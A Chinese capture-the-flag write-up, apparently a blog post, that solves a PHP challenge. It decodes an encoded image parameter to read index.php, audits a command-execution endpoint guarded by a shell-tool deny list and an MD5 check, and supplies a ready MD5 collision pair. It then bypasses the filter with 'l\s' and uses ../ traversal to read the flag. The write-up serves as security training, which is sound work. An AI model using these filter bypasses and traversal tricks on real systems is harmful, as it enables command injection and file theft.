首先打开环境
查看源码
发现有个base64
解开后发现是图片源码
这让我联想到地址栏中的参数
发现它经过了两次base64编码和一次十六进制编码
Base64 在线编码解码 | Base64 加密解密 - Base64.us
CTF在线工具-Hex在线编码|Hex在线解码|十六进制编码转换 (hiencode.com)
解开后发现是图片名
我们反向操作一波查看index.php的源码
696e6465782e706870
TmprMlpUWTBOalUzT0RKbE56QTJPRGN3
下面传参
进行base64解密
得到源码
'; die("xixi~ no flag");} else { $txt = base64_encode(file_get_contents($file)); echo ""; echo "
";}echo $cmd;echo "
";if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) { echo("forbid ~"); echo "
";} else { if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) { echo `$cmd`; } else { echo ("md5 is funny ~"); }}?>
代码审计
查看这里的关键代码
echo $cmd;echo "
";if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) { echo("forbid ~"); echo "
";} else { if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) { echo `$cmd`; } else { echo ("md5 is funny ~"); }}?>
发现是md5强碰撞
用网上现成的
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
这里坑就来了我们需要使用hackbar先进行一次post传递搭配burp抓包
post为任意字符
进行burp抓包
出现这样即为成功
接着我们将post参数替换成
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
这里可以将img=删除因为我们已经绕过了
右击在重发模块中发送
注意这里的回显结果不能出现md5 is funny ~
下面我们进行了l\s绕过
这样即为成功
下面在搭配../进行目录遍历
这里的%20是url编码是空格
这里发现了flag
我们打开它
这样就拿到了flag
希望小伙伴们可以一步一步的复现而不是直接填flag那样是没有效果滴!!!
来源地址:https://blog.csdn.net/m0_50553973/article/details/129502866